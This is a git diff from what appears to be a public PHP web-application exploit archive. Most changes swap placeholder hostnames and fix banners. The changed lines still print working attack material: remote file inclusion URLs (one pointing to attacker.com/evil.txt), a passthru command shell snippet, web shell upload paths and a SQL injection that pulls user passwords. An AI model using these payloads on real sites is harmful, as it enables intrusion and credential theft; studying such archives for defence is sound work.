@@ # ########################################################### -Vuln page : http://myserver/wp-content/plugins/sfbrowser/connectors/php/sfbrowser.php +Vuln page : http://mysite.com/wp-content/plugins/sfbrowser/connectors/php/sfbrowser.php exploit : @@ -31,6 +31,6 @@ curl_close($c); echo $e; ?> -shell Access : http://myserver/wp-content/plugins/sfbrowser/shell.ptxt +shell Access : http://mysite.com/wp-content/plugins/sfbrowser/shell.ptxt ##################################################################### \ No newline at end of file diff --git a/platforms/php/webapps/19055.txt b/platforms/php/webapps/19055.txt index b60ee054d..75a9e6942 100755 --- a/platforms/php/webapps/19055.txt +++ b/platforms/php/webapps/19055.txt @@ -10,7 +10,7 @@ # ########################################################### -Vuln page : http://myserver/wp-content/plugins/pica-photo-gallery/picaPhotosResize.php +Vuln page : http://mysite.com/wp-content/plugins/pica-photo-gallery/picaPhotosResize.php exploit : diff --git a/platforms/php/webapps/19056.txt b/platforms/php/webapps/19056.txt index 88a1dac68..b6de917eb 100755 --- a/platforms/php/webapps/19056.txt +++ b/platforms/php/webapps/19056.txt @@ -10,7 +10,7 @@ # ########################################################### -Vuln page : http://myserver/wp-content/plugins/mac-dock-gallery/upload-file.php +Vuln page : http://mysite.com/wp-content/plugins/mac-dock-gallery/upload-file.php exploit : @@ -28,6 +28,6 @@ curl_close($c); echo $e; ?> -shell access : http://myserver/wp-content/uploads/mac-dock-gallery/shell.php +shell access : http://mysite.com/wp-content/uploads/mac-dock-gallery/shell.php ##################################################################### \ No newline at end of file diff --git a/platforms/php/webapps/19057.txt b/platforms/php/webapps/19057.txt index efa52600d..b9638ecca 100755 --- a/platforms/php/webapps/19057.txt +++ b/platforms/php/webapps/19057.txt @@ -10,7 +10,7 @@ # ########################################################### -Vuln page : http://myserver/wp-content/plugins/drag-drop-file-uploader/dnd-upload.php +Vuln page : http://mysite.com/wp-content/plugins/drag-drop-file-uploader/dnd-upload.php exploit : @@ -26,6 +26,6 @@ curl_close($c); echo $e; ?> -Shell access : http://myserver/wp-content/uploads/[YYYY]/[MM]/shell.php.jpg +Shell access : http://mysite.com/wp-content/uploads/[YYYY]/[MM]/shell.php.jpg ##################################################################### \ No newline at end of file diff --git a/platforms/php/webapps/19058.txt b/platforms/php/webapps/19058.txt index 5611141fb..b25d4536d 100755 --- a/platforms/php/webapps/19058.txt +++ b/platforms/php/webapps/19058.txt @@ -10,14 +10,14 @@ # ########################################################### -Vuln page : http://myserver/wp-content/plugins/custom-content-type-manager/upload_form.php +Vuln page : http://mysite.com/wp-content/plugins/custom-content-type-manager/upload_form.php exploit : -http://myserver/wp-content/plugins/custom-content-type-manager/upload_form.php +http://mysite.com/wp-content/plugins/custom-content-type-manager/upload_form.php -> upload your shell with image ext (jpg|png|gif) -shell access : http://myserver/wp-content/uploads/[YYYY]/[MM]/shell.php.jpg +shell access : http://mysite.com/wp-content/uploads/[YYYY]/[MM]/shell.php.jpg ##################################################################### \ No newline at end of file diff --git a/platforms/php/webapps/19060.php b/platforms/php/webapps/19060.php index 0480416be..325043bb7 100755 --- a/platforms/php/webapps/19060.php +++ b/platforms/php/webapps/19060.php @@ -48,7 +48,7 @@ We discovered multiple vulnerabilities on this system. All in index.php, vars: How to use: php exploit.php <target> Example: - php exploit.php http://server/blog/ + php exploit.php http://target.com/blog/ EDUCATIONAL PURPOSE ONLY! @@ -75,7 +75,7 @@ if($argc!=2) { echo "Usage: \n"; echo "php $argv[0] <target url>\n"; echo "Example:\n"; - echo "php $argv[0] http://www.webserver/blog\n"; + echo "php $argv[0] http://www.website.com/blog\n"; exit; } diff --git a/platforms/php/webapps/1908.txt b/platforms/php/webapps/1908.txt index 4a5d9dab4..1ad84a454 100755 --- a/platforms/php/webapps/1908.txt +++ b/platforms/php/webapps/1908.txt @@ -21,7 +21,7 @@ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ #Expl: -http://www.server/[Minerva_path]/stat_modules/users_age/module.php?phpbb_root_path=[evil_scripts] +http://www.site.com/[Minerva_path]/stat_modules/users_age/module.php?phpbb_root_path=[evil_scripts] #Pozdro dla wszystkich ;-) diff --git a/platforms/php/webapps/1909.pl b/platforms/php/webapps/1909.pl index a8e941b9a..d927dd01e 100755 --- a/platforms/php/webapps/1909.pl +++ b/platforms/php/webapps/1909.pl @@ -134,7 +134,7 @@ sub help { print "\t--debug\n"; print "the default directory is /\n"; print "\nExample\n"; - print "bash# $0 --host=http(s)://server/\n"; + print "bash# $0 --host=http(s)://www.server.com/\n"; print "\n"; exit(1); } diff --git a/platforms/php/webapps/1912.txt b/platforms/php/webapps/1912.txt index f0d0b82bb..b8596ac66 100755 --- a/platforms/php/webapps/1912.txt +++ b/platforms/php/webapps/1912.txt @@ -43,7 +43,7 @@ unlink("$destination.txt"); #Expl: -http://www.server/[tbpp_path]/Admin/rtf_parser.php?destination=[evil_scripts] +http://www.site.com/[tbpp_path]/Admin/rtf_parser.php?destination=[evil_scripts] #Pozdro dla wszystkich ;-) diff --git a/platforms/php/webapps/1914.txt b/platforms/php/webapps/1914.txt index 4da0dd35c..8dc4cebc7 100755 --- a/platforms/php/webapps/1914.txt +++ b/platforms/php/webapps/1914.txt @@ -23,29 +23,29 @@ many bugs :> #Expl: -http://www.server/[cb_path]/libraries/comment/postComment.php?path[cb]=[evil_scripts] +http://www.site.com/[cb_path]/libraries/comment/postComment.php?path[cb]=[evil_scripts] -http://www.server/[cb_path]/modules/archive/overview.inc.php?rel=[evil_scripts] +http://www.site.com/[cb_path]/modules/archive/overview.inc.php?rel=[evil_scripts] -http://www.server/[cb_path]/modules/article/fullarticle.inc.php?rel=[evil_scripts] +http://www.site.com/[cb_path]/modules/article/fullarticle.inc.php?rel=[evil_scripts] -http://www.server/[cb_path]/modules/article2/fullarticle.inc.php?rel=[evil_scripts] +http://www.site.com/[cb_path]/modules/article2/fullarticle.inc.php?rel=[evil_scripts] -http://www.server/[cb_path]/modules/download/detailView.inc.php?rel=[evil_scripts] +http://www.site.com/[cb_path]/modules/download/detailView.inc.php?rel=[evil_scripts] -http://www.server/[cb_path]/modules/download/overview.inc.php?rel=[evil_scripts] +http://www.site.com/[cb_path]/modules/download/overview.inc.php?rel=[evil_scripts] -http://www.server/[cb_path]/modules/forum/showThread.inc.php?actualModuleDir=[evil_scripts] +http://www.site.com/[cb_path]/modules/forum/showThread.inc.php?actualModuleDir=[evil_scripts] -http://www.server/[cb_path]/modules/sitemap/sitemap.inc.php?path[cb]=[evil_scripts] +http://www.site.com/[cb_path]/modules/sitemap/sitemap.inc.php?path[cb]=[evil_scripts] -http://www.server/[cb_path]/modules/guestbook/guestbook.inc.php?rel=[evil_scripts] +http://www.site.com/[cb_path]/modules/guestbook/guestbook.inc.php?rel=[evil_scripts] -http://www.server/[cb_path]/modules/headline/headlineBox.php?rel=[evil_scripts] +http://www.site.com/[cb_path]/modules/headline/headlineBox.php?rel=[evil_scripts] -http://www.server/[cb_path]/modules/headline/showHeadline.inc.php?rel=[evil_scripts] +http://www.site.com/[cb_path]/modules/headline/showHeadline.inc.php?rel=[evil_scripts] -http://www.server/[cb_path]/modules/poll/poll.php?path[cb]=[evil_scripts] +http://www.site.com/[cb_path]/modules/poll/poll.php?path[cb]=[evil_scripts] #Pozdro dla wszystkich ;-) diff --git a/platforms/php/webapps/19174.py b/platforms/php/webapps/19174.py index 02b6188f5..ab0b5450a 100755 --- a/platforms/php/webapps/19174.py +++ b/platforms/php/webapps/19174.py @@ -219,7 +219,7 @@ from cookielib import CookieJar from os import system usage = "./%prog [<options>] -r [target] -d [directory]" -usage += "\nExample: ./%prog -p 127.0.0.1:8080 -r server -d /webapps/ur/ -c 127.0.0.1:1337" +usage += "\nExample: ./%prog -p 127.0.0.1:8080 -r target.com -d /webapps/ur/ -c 127.0.0.1:1337" parser = OptionParser(usage=usage) parser.add_option("-p", type="string",action="store", dest="proxy", diff --git a/platforms/php/webapps/19178.txt b/platforms/php/webapps/19178.txt index 63801c01d..d3f9f8cb1 100755 --- a/platforms/php/webapps/19178.txt +++ b/platforms/php/webapps/19178.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ diff --git a/platforms/php/webapps/1919.txt b/platforms/php/webapps/1919.txt index 1d5d43b87..1f8cf9b8a 100755 --- a/platforms/php/webapps/1919.txt +++ b/platforms/php/webapps/1919.txt @@ -58,7 +58,7 @@ Variables $mainpath are not properly sanitized.When register_globals=on and allo Proof Of Concept: ~~~~~~~~~~~~~~~~ -http://server/[cms_faethon_path]/data/header.php?mainpath=http://attacker.com/evil.txt? +http://target.com/[cms_faethon_path]/data/header.php?mainpath=http://attacker.com/evil.txt? Solution: ~~~~~~~~ diff --git a/platforms/php/webapps/1921.pl b/platforms/php/webapps/1921.pl index 840417a1a..681583743 100755 --- a/platforms/php/webapps/1921.pl +++ b/platforms/php/webapps/1921.pl @@ -11,7 +11,7 @@ # usage: # perl flashBB.pl <target> <cmd shell location> <cmd shell variable> # -# perl flashBB.pl http://server/flashbb http://server/cmd.txt cmd +# perl flashBB.pl http://target.com/flashbb http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # @@ -75,8 +75,8 @@ sub usage() { head(); print " Usage: perl $0 <target> <cmd shell location> <cmd shell variable>\r\n\n"; - print " <Site> - Full path to TUFaT FlashBB ex: http://www.server/ \r\n"; - print " <cmd shell> - Path to cmd Shell e.g http://server/cmd.txt \r\n"; + print " <Site> - Full path to TUFaT FlashBB ex: http://www.site.com/ \r\n"; + print " <cmd shell> - Path to cmd Shell e.g http://site.com/cmd.txt \r\n"; print " <cmd variable> - Command variable used in php shell \r\n"; print "============================================================================\r\n"; print " Bug Found by h4ntu \r\n"; diff --git a/platforms/php/webapps/1926.txt b/platforms/php/webapps/1926.txt index 4a38748ca..79a0c379a 100755 --- a/platforms/php/webapps/1926.txt +++ b/platforms/php/webapps/1926.txt @@ -20,7 +20,7 @@ URL :http://www.live-helper.com/ Exploit: ~~~~~~~~ -# http://www.server/[livehelperpath]/initiate.php?abs_path=[evil_scripts] +# http://www.site.com/[livehelperpath]/initiate.php?abs_path=[evil_scripts] --------------------------------------------------------------------------- diff --git a/platforms/php/webapps/1928.txt b/platforms/php/webapps/1928.txt index c3a31009e..ee252316f 100755 --- a/platforms/php/webapps/1928.txt +++ b/platforms/php/webapps/1928.txt @@ -41,7 +41,7 @@ include("$ideaDir/cord.php"); #Expl: -http://www.server/[IdeaBox_path]/include.php?gorumDir=[evil_scripts] +http://www.site.com/[IdeaBox_path]/include.php?gorumDir=[evil_scripts] #Pozdro dla wszystkich ;-) diff --git a/platforms/php/webapps/1933.txt b/platforms/php/webapps/1933.txt index 2199b2420..21545ac9a 100755 --- a/platforms/php/webapps/1933.txt +++ b/platforms/php/webapps/1933.txt @@ -20,26 +20,26 @@ Exploit: Variable $root_path not sanitized.When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script. -# http://www.server/[path]/includes/content/contact_content.php?root_path=[evil script] -# http://www.server/[path]/adminpanel/includes/add_forms/addbioform.php?root_path=[evil script] -# http://www.server/[path]/adminpanel/includes/add_forms/addfliersform.php?root_path=[evil script] -# http://www.server/[path]/adminpanel/includes/add_forms/addgenmerchform.php?root_path=[evil script] -# http://www.server/[path]/adminpanel/includes/add_forms/addinterviewsform.php?root_path=[evil script] -# http://www.server/[path]/adminpanel/includes/add_forms/addlinksform.php?root_path=[evil script] -# http://www.server/[path]/adminpanel/includes/add_forms/addlyricsform.php?root_path=[evil script] -# http://www.server/[path]/adminpanel/includes/add_forms/addmembioform.php?root_path=[evil script] -# http://www.server/[path]/adminpanel/includes/add_forms/addmerchform.php?root_path=[evil script] -# http://www.server/[path]/adminpanel/includes/add_forms/addmerchpicform.php?root_path=[evil script] -# http://www.server/[path]/adminpanel/includes/add_forms/addnewsform.php?root_path=[evil script] -# http://www.server/[path]/adminpanel/includes/add_forms/addphotosform.php?root_path=[evil script] -# http://www.server/[path]/adminpanel/includes/add_forms/addreleaseform.php?root_path=[evil script] -# http://www.server/[path]/adminpanel/includes/add_forms/addreleasepicform.php?root_path=[evil script] -# http://www.server/[path]/adminpanel/includes/add_forms/addrelmerchform.php?root_path=[evil script] -# http://www.server/[path]/adminpanel/includes/add_forms/addreviewsform.php?root_path=[evil script] -# http://www.server/[path]/adminpanel/includes/add_forms/addshowsform.php?root_path=[evil script] -# http://www.server/[path]/adminpanel/includes/add_forms/addwearmerchform.php?root_path=[evil script] -# http://www.server/[path]/adminpanel/includes/mailinglist/disphtmltbl.php?root_path=[evil script] -# http://www.server/[path]/adminpanel/includes/mailinglist/dispxls.php?root_path=[evil script] +# http://www.site.com/[path]/includes/content/contact_content.php?root_path=[evil script] +# http://www.site.com/[path]/adminpanel/includes/add_forms/addbioform.php?root_path=[evil script] +# http://www.site.com/[path]/adminpanel/includes/add_forms/addfliersform.php?root_path=[evil script] +# http://www.site.com/[path]/adminpanel/includes/add_forms/addgenmerchform.php?root_path=[evil script] +# http://www.site.com/[path]/adminpanel/includes/add_forms/addinterviewsform.php?root_path=[evil script] +# http://www.site.com/[path]/adminpanel/includes/add_forms/addlinksform.php?root_path=[evil script] +# http://www.site.com/[path]/adminpanel/includes/add_forms/addlyricsform.php?root_path=[evil script] +# http://www.site.com/[path]/adminpanel/includes/add_forms/addmembioform.php?root_path=[evil script] +# http://www.site.com/[path]/adminpanel/includes/add_forms/addmerchform.php?root_path=[evil script] +# http://www.site.com/[path]/adminpanel/includes/add_forms/addmerchpicform.php?root_path=[evil script] +# http://www.site.com/[path]/adminpanel/includes/add_forms/addnewsform.php?root_path=[evil script] +# http://www.site.com/[path]/adminpanel/includes/add_forms/addphotosform.php?root_path=[evil script] +# http://www.site.com/[path]/adminpanel/includes/add_forms/addreleaseform.php?root_path=[evil script] +# http://www.site.com/[path]/adminpanel/includes/add_forms/addreleasepicform.php?root_path=[evil script] +# http://www.site.com/[path]/adminpanel/includes/add_forms/addrelmerchform.php?root_path=[evil script] +# http://www.site.com/[path]/adminpanel/includes/add_forms/addreviewsform.php?root_path=[evil script] +# http://www.site.com/[path]/adminpanel/includes/add_forms/addshowsform.php?root_path=[evil script] +# http://www.site.com/[path]/adminpanel/includes/add_forms/addwearmerchform.php?root_path=[evil script] +# http://www.site.com/[path]/adminpanel/includes/mailinglist/disphtmltbl.php?root_path=[evil script] +# http://www.site.com/[path]/adminpanel/includes/mailinglist/dispxls.php?root_path=[evil script] --------------------------------------------------------------------------- diff --git a/platforms/php/webapps/19330.txt b/platforms/php/webapps/19330.txt index 0f16860c7..7f8ff1d80 100755 --- a/platforms/php/webapps/19330.txt +++ b/platforms/php/webapps/19330.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ diff --git a/platforms/php/webapps/1934.txt b/platforms/php/webapps/1934.txt index 8b3c25c16..2d7889f49 100755 --- a/platforms/php/webapps/1934.txt +++ b/platforms/php/webapps/1934.txt @@ -1,6 +1,6 @@ Credits : h4ntu Title : dotProject <= 2.0.3 Remote File Inclusion URL : http://www.dotproject.net/ -Exploit : http://server/[dotProject_path]/includes/db_adodb.php?baseDir=[attacker] +Exploit : http://target.com/[dotProject_path]/includes/db_adodb.php?baseDir=[attacker] # milw0rm.com [2006-06-20] diff --git a/platforms/php/webapps/1936.txt b/platforms/php/webapps/1936.txt index 06f139b8e..cf1b3ad37 100755 --- a/platforms/php/webapps/1936.txt +++ b/platforms/php/webapps/1936.txt @@ -14,7 +14,7 @@ require($root . "include/inc_foot.php"); --------------------------------------------------------------------- -http://www.server/[smartsitecmspath]/include/inc.foot.php?root=http://[attacker] +http://www.site.com/[smartsitecmspath]/include/inc.foot.php?root=http://[attacker] by Archit3ct and IR4DEX GROUP diff --git a/platforms/php/webapps/19386.txt b/platforms/php/webapps/19386.txt index 39f4c2513..efc620c84 100755 --- a/platforms/php/webapps/19386.txt +++ b/platforms/php/webapps/19386.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ diff --git a/platforms/php/webapps/1943.txt b/platforms/php/webapps/1943.txt index 52b2333d3..b29ac1d56 100755 --- a/platforms/php/webapps/1943.txt +++ b/platforms/php/webapps/1943.txt @@ -18,23 +18,23 @@ URL : http://sourceforge.net/projects/harpia Exploit: ~~~~~~~ -http://www.server/preload.php?config=owned&func_prog=http://server/cmd.gif?&cmd=ls -http://www.server/index.php?config=owned&func_prog=http://server/cmd.gif?&cmd=ls -http://www.server/missing.php?header_prog=[Evil_Script] -http://www.server/_inc/footer.php?theme_root=[Evil_Script] -http://www.server/_inc/header.php?mod_root=[Evil_Script] -http://www.server/_inc/header.php?theme_root=[Evil_Script] -http://www.server/_inc/pfooter.php?theme_root=[Evil_Script] -http://www.server/_inc/pheader.php?theme_root=[Evil_Script] -http://www.server/_inc/web_statsConfig.php?mod_dir=[Evil_Script] -http://www.server/_inc/web_statsConfig.php?php_ext=[Evil_Script] -http://www.server/_mods/email.php?header_prog=[Evil_Script] -http://www.server/_mods/files.php?header_prog=[Evil_Script] -http://www.server/_mods/files.php?footer_prog=[Evil_Script] -http://www.server/_mods/headlines.php?header_prog=[Evil_Script] -http://www.server/_mods/search.php?header_prog=[Evil_Script] -http://www.server/_mods/topics.php?header_prog=[Evil_Script] -http://www.server/_mods/users.php?header_prog=[Evil_Script] +http://www.site.com/preload.php?config=owned&func_prog=http://site.com/cmd.gif?&cmd=ls +http://www.site.com/index.php?config=owned&func_prog=http://site.com/cmd.gif?&cmd=ls +http://www.site.com/missing.php?header_prog=[Evil_Script] +http://www.site.com/_inc/footer.php?theme_root=[Evil_Script] +http://www.site.com/_inc/header.php?mod_root=[Evil_Script] +http://www.site.com/_inc/header.php?theme_root=[Evil_Script] +http://www.site.com/_inc/pfooter.php?theme_root=[Evil_Script] +http://www.site.com/_inc/pheader.php?theme_root=[Evil_Script] +http://www.site.com/_inc/web_statsConfig.php?mod_dir=[Evil_Script] +http://www.site.com/_inc/web_statsConfig.php?php_ext=[Evil_Script] +http://www.site.com/_mods/email.php?header_prog=[Evil_Script] +http://www.site.com/_mods/files.php?header_prog=[Evil_Script] +http://www.site.com/_mods/files.php?footer_prog=[Evil_Script] +http://www.site.com/_mods/headlines.php?header_prog=[Evil_Script] +http://www.site.com/_mods/search.php?header_prog=[Evil_Script] +http://www.site.com/_mods/topics.php?header_prog=[Evil_Script] +http://www.site.com/_mods/users.php?header_prog=[Evil_Script] --------------------------------------------------------------------------- diff --git a/platforms/php/webapps/19431.txt b/platforms/php/webapps/19431.txt index 503b67703..ab1b932b0 100755 --- a/platforms/php/webapps/19431.txt +++ b/platforms/php/webapps/19431.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -50,9 +50,9 @@ # # dun@rd01 ~ $ cat ./config.php # <?php phpinfo(); ?> - # dun@rd01 ~ $ ftp ftp.server - # Connected to ftp.server. - # Name (ftp.server): user + # dun@rd01 ~ $ ftp ftp.server.com + # Connected to ftp.server.com. + # Name (ftp.server.com): user # 331 User user OK. Password required # Password: # 230 OK. Current restricted directory is / @@ -64,8 +64,8 @@ # 221 Logout. # # Now we can use url: - # Vuln: http://localhost/webERP/index.php?PathPrefix=ftp://user:password@ftp.server/ - # In this case, script checks if the file 'ftp://user:password@ftp.server/' . 'config.php' does not exist. + # Vuln: http://localhost/webERP/index.php?PathPrefix=ftp://user:password@ftp.server.com/ + # In this case, script checks if the file 'ftp://user:password@ftp.server.com/' . 'config.php' does not exist. # If exist, then include it. # ################################################################### @@ -92,3 +92,4 @@ + \ No newline at end of file diff --git a/platforms/php/webapps/1945.pl b/platforms/php/webapps/1945.pl index 532cbd326..2cad2bdc1 100755 --- a/platforms/php/webapps/1945.pl +++ b/platforms/php/webapps/1945.pl @@ -13,7 +13,7 @@ # usage: # perl wagora.pl <target> <cmd shell location> <cmd shell variable> # -# perl wagora.pl http://server/w-agora/ http://server/cmd.txt cmd +# perl wagora.pl http://target.com/w-agora/ http://target.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # @@ -76,8 +76,8 @@ sub usage() { head(); print " Usage: perl wagora.pl <target> <cmd shell location> <cmd shell variable>\r\n\n"; - print " <Site> - Full path to w-agora ex: http://www.server/w-agora/ \r\n"; - print " <cmd shell> - Path to cmd Shell e.g http://www.your-server/cmd.txt \r\n"; + print " <Site> - Full path to w-agora ex: http://www.site.com/w-agora/ \r\n"; + print " <cmd shell> - Path to cmd Shell e.g http://www.your-site.com/cmd.txt \r\n"; print " <cmd variable> - Command variable used in php shell \r\n"; print "============================================================================\r\n"; print " Bug Found by dedi.dwianto aka the_day \r\n"; diff --git a/platforms/php/webapps/19481.txt b/platforms/php/webapps/19481.txt index ac4764b39..7d4f39d2f 100755 --- a/platforms/php/webapps/19481.txt +++ b/platforms/php/webapps/19481.txt @@ -36,7 +36,7 @@ Injection Example Using Burp Suite or other proxy, intercept the post request when submitting the form and add AND 1=1 to the request before forwarding: action=paypal_form&pbl_listing_name=My+Company+Name&pbl_listing_logo_url=&pbl_listing_description=My+business+description -&pbl_listing_phone=123-456-7890&pbl_listing_url=http%3A%2F%2Fwww.mywebserver%2F&pbl_listing_email=myemail%40address.com +&pbl_listing_phone=123-456-7890&pbl_listing_url=http%3A%2F%2Fwww.mywebsite.com%2F&pbl_listing_email=myemail%40address.com &pbl_listing_address=123+Main+Street&pbl_listing_city=Durham&pbl_listing_state=North+Carolina&pbl_listing_zip=27707 &pbl_listing_cat_id=1&pbl_listing_pkg_id=2 AND 1=1 diff --git a/platforms/php/webapps/1951.txt b/platforms/php/webapps/1951.txt index 49243c142..dcef8d08e 100755 --- a/platforms/php/webapps/1951.txt +++ b/platforms/php/webapps/1951.txt @@ -21,16 +21,16 @@ Exploit: Variable $header not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script. -# http://www.server/[path]/conad/include/rootGui.inc.php?header=[evil_script] -# http://www.server/[path]/conad/changeEmail.inc.php?mysqlCall=[evil_script] -# http://www.server/[path]/conad/changeUserDetails.inc.php?mysqlCall=[evil_script] -# http://www.server/[path]/conad/checkPasswd.inc.php?mysqlCall=[evil_script] -# http://www.server/[path]/conad/login.inc.php?mysqlCall=[evil_script] -# http://www.server/[path]/conad/logout.inc.php?mysqlCall=[evil_script] -# http://www.server/[path]/include/listall.inc.php?mysqlcall=[evil_script] -# http://www.server/[path]/show/index.php?prefix=[evil_script] -# http://www.server/[path]/conad/include/mysqlCall.inc.php?config=[evil_script] -# http://www.server/[path]/include/rootGui.inc.php?header=[evil_script] +# http://www.site.com/[path]/conad/include/rootGui.inc.php?header=[evil_script] +# http://www.site.com/[path]/conad/changeEmail.inc.php?mysqlCall=[evil_script] +# http://www.site.com/[path]/conad/changeUserDetails.inc.php?mysqlCall=[evil_script] +# http://www.site.com/[path]/conad/checkPasswd.inc.php?mysqlCall=[evil_script] +# http://www.site.com/[path]/conad/login.inc.php?mysqlCall=[evil_script] +# http://www.site.com/[path]/conad/logout.inc.php?mysqlCall=[evil_script] +# http://www.site.com/[path]/include/listall.inc.php?mysqlcall=[evil_script] +# http://www.site.com/[path]/show/index.php?prefix=[evil_script] +# http://www.site.com/[path]/conad/include/mysqlCall.inc.php?config=[evil_script] +# http://www.site.com/[path]/include/rootGui.inc.php?header=[evil_script] --------------------------------------------------------------------------- diff --git a/platforms/php/webapps/1952.txt b/platforms/php/webapps/1952.txt index 92c5a7d8c..0361550a8 100755 --- a/platforms/php/webapps/1952.txt +++ b/platforms/php/webapps/1952.txt @@ -22,7 +22,7 @@ Exploit: Variable $phpbb_root_path not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script. -# http://www.server/[path]/includes/functions_cms.php?phpbb_root_path=[evil_script] +# http://www.site.com/[path]/includes/functions_cms.php?phpbb_root_path=[evil_script] --------------------------------------------------------------------------- diff --git a/platforms/php/webapps/1955.txt b/platforms/php/webapps/1955.txt index 6a130b21f..1cdf2f6c0 100755 --- a/platforms/php/webapps/1955.txt +++ b/platforms/php/webapps/1955.txt @@ -21,7 +21,7 @@ Exploit: Variable $mosConfig_absolute_path not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script. -# http://www.server/[path]/mod_cbsms_messages.php?mosConfig_absolute_path=[evil script] +# http://www.site.com/[path]/mod_cbsms_messages.php?mosConfig_absolute_path=[evil script] --------------------------------------------------------------------------- diff --git a/platforms/php/webapps/19550.txt b/platforms/php/webapps/19550.txt index 34def2eb2..10ea875e4 100755 --- a/platforms/php/webapps/19550.txt +++ b/platforms/php/webapps/19550.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ diff --git a/platforms/php/webapps/1956.txt b/platforms/php/webapps/1956.txt index 6a1213d56..e78435c96 100755 --- a/platforms/php/webapps/1956.txt +++ b/platforms/php/webapps/1956.txt @@ -22,18 +22,18 @@ Exploit: Variable $GlobalSettings[templatesDirectory] not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script. -# http://www.server/[path]/includes/functions_cms.php?phpbb_root_path=[evil_script] -# http://www.server/[path]/includes/adminSensored.php?GlobalSettings[templatesDirectory]=[evil_script] -# http://www.server/[path]/includes/adminBoards.php?GlobalSettings[templatesDirectory]=[evil_script] -# http://www.server/[path]/includes/adminAttachments.php?GlobalSettings[templatesDirectory]=[evil_script] -# http://www.server/[path]/includes/adminAvatars.php?GlobalSettings[templatesDirectory]=[evil_script] -# http://www.server/[path]/includes/adminBackupdatabase.php?GlobalSettings[templatesDirectory]=[evil_script] -# http://www.server/[path]/includes/adminBanned.php?GlobalSettings[templatesDirectory]=[evil_script] -# http://www.server/[path]/includes/adminForums.php?GlobalSettings[templatesDirectory]=[evil_script] -# http://www.server/[path]/includes/adminPolls.php?GlobalSettings[templatesDirectory]=[evil_script] -# http://www.server/[path]/includes/adminSmileys.php?GlobalSettings[templatesDirectory]=[evil_script] -# http://www.server/[path]/includes/poll.php?GlobalSettings[templatesDirectory]=[evil_script] -# http://www.server/[path]/includes/move.php?GlobalSettings[templatesDirectory]=[evil_script] +# http://www.site.com/[path]/includes/functions_cms.php?phpbb_root_path=[evil_script] +# http://www.site.com/[path]/includes/adminSensored.php?GlobalSettings[templatesDirectory]=[evil_script] +# http://www.site.com/[path]/includes/adminBoards.php?GlobalSettings[templatesDirectory]=[evil_script] +# http://www.site.com/[path]/includes/adminAttachments.php?GlobalSettings[templatesDirectory]=[evil_script] +# http://www.site.com/[path]/includes/adminAvatars.php?GlobalSettings[templatesDirectory]=[evil_script] +# http://www.site.com/[path]/includes/adminBackupdatabase.php?GlobalSettings[templatesDirectory]=[evil_script] +# http://www.site.com/[path]/includes/adminBanned.php?GlobalSettings[templatesDirectory]=[evil_script] +# http://www.site.com/[path]/includes/adminForums.php?GlobalSettings[templatesDirectory]=[evil_script] +# http://www.site.com/[path]/includes/adminPolls.php?GlobalSettings[templatesDirectory]=[evil_script] +# http://www.site.com/[path]/includes/adminSmileys.php?GlobalSettings[templatesDirectory]=[evil_script] +# http://www.site.com/[path]/includes/poll.php?GlobalSettings[templatesDirectory]=[evil_script] +# http://www.site.com/[path]/includes/move.php?GlobalSettings[templatesDirectory]=[evil_script] --------------------------------------------------------------------------- diff --git a/platforms/php/webapps/1957.pl b/platforms/php/webapps/1957.pl index 16042ca2f..d900e4e91 100755 --- a/platforms/php/webapps/1957.pl +++ b/platforms/php/webapps/1957.pl @@ -33,7 +33,7 @@ print "\n===============================================================\n\n"; my($targ,$path,$userid,$xpl,$xpl2,$data,$data2,$email); - print "Enter Traget Exemple: http://server/ \nTraget : "; + print "Enter Traget Exemple: http://site.com/ \nTraget : "; chomp($targ = <STDIN>); print "\n\nEnter Path TO Portal exemple: /SPT/ OR just / \nPath : "; diff --git a/platforms/php/webapps/1961.txt b/platforms/php/webapps/1961.txt index b8dff182d..95d2090cf 100755 --- a/platforms/php/webapps/1961.txt +++ b/platforms/php/webapps/1961.txt @@ -17,6 +17,6 @@ Vulnerability: SQL-injection -http://www.server/modules/myAds/annonces-p-f.php?op=ImprAnn&lid=-1+union+select+1,pass,uid,uname,5,6,7,8,9,10,11,12,13+from+xoops_users+limit+1,1/* +http://www.site.com/modules/myAds/annonces-p-f.php?op=ImprAnn&lid=-1+union+select+1,pass,uid,uname,5,6,7,8,9,10,11,12,13+from+xoops_users+limit+1,1/* # milw0rm.com [2006-06-28] diff --git a/platforms/php/webapps/19626.txt b/platforms/php/webapps/19626.txt index 3d2923ed7..7b533455e 100755 --- a/platforms/php/webapps/19626.txt +++ b/platforms/php/webapps/19626.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ diff --git a/platforms/php/webapps/1963.txt b/platforms/php/webapps/1963.txt index 